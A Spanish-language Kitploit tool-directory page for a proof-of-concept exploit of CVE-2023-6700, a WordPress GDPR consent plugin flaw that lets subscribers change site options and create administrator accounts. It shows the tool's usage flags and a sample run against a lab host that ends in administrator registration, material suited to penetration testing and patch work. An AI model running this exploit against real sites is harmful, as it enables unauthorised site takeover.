Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2023-6700 — Cookie Information | Free GDPR Consent Solution <= 2.0.22 - Autenticado (Suscriptor+) Actualización de Opciones Arbitrarias | Kitploit
Herramientas/GitHubGitHub/randomrobbiebf/cve-2023-6700
Escalada de PrivilegiosAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAutenticación
GitHubrandomrobbiebf/cve-2023-6700

CVE-2023-6700

Cookie Information | Free GDPR Consent Solution <= 2.0.22 - Autenticado (Suscriptor+) Actualización de Opciones Arbitrarias

Ver Repositorio
2hace 2 añosAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2023-6700

Cookie Information | Free GDPR Consent Solution <= 2.0.22 - Actualización de Opciones Arbitrarias Autenticada (Subscriptor+)

Descripción:

CVE-2023-6700 El plugin Cookie Information | Free GDPR Consent Solution para WordPress es vulnerable a actualizaciones arbitrarias de opciones debido a una falta de comprobación de capacidades en su manejador de solicitudes AJAX en versiones hasta la 2.0.22 inclusive. Esto permite que atacantes autenticados, con nivel de acceso de subscriptor o superior, editen opciones arbitrarias del sitio, lo que puede ser utilizado para crear cuentas de administrador.

root@kitploit:~
Severity: high
CVE ID: CVE-2023-6700
CVSS Score: 8.8
CVSS Metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Plugin Slug: wp-gdpr-compliance
WPScan URL: https://www.wpscan.com/plugin/wp-gdpr-compliance
Reference URL: https://www.wordfence.com/threat-intel/vulnerabilities/id/42a4ef37-c842-4925-b06a-3e6423337567?source=api-prod
Diff URL: https://plugins.trac.wordpress.org/changeset/3028096/wp-gdpr-compliance/trunk?contextall=1&old=2865555&old_path=%2Fwp-gdpr-compliance%2Ftrunk

Cómo usar

root@kitploit:~
usage: CVE-2023-6700.py [-h] -u URL [-un USERNAME] [-p PASSWORD] [-f FIX]

Cookie Information | Free GDPR Consent Solution <= 2.0.22 - Actualización de Opciones Arbitrarias Autenticada (Subscriptor+)
Descripción: CVE-2023-6700 El plugin Cookie Information | Free GDPR Consent Solution para WordPress es vulnerable a
actualizaciones arbitrarias de opciones debido a una falta de comprobación de capacidades en su manejador de solicitudes
AJAX en versiones hasta la 2.0.22 inclusive. Esto permite que atacantes autenticados, con nivel de acceso de subscriptor o
superior, editen opciones arbitrarias del sitio, lo que puede ser utilizado para crear cuentas de administrador.

options:
  -h, --help            show this help message and exit
  -u URL, --url URL     URL del sitio web
  -un USERNAME, --username USERNAME
                        Nombre de usuario de WordPress
  -p PASSWORD, --password PASSWORD
                        Contraseña de WordPress
  -f FIX, --fix FIX     Restablecer después de la explotación

POC

root@kitploit:~
python3 CVE-2023-6700.py -u http://wordpress.lan -un user -p useruser1
La versión del plugin es inferior a 2.0.23.
La versión del plugin es 2.0.21
Verificación de vulnerabilidad: http://wordpress.lan
Inicio de sesión exitoso.
Opción establecida correctamente: http://wordpress.lan/wp-admin/admin-ajax.php
Opción establecida correctamente: http://wordpress.lan/wp-admin/admin-ajax.php
Ahora puedes registrar un usuario como administrador. Recuerda ejecutar --fix yes después de registrarte para evitar que otros exploten el sitio.
Descargar herramienta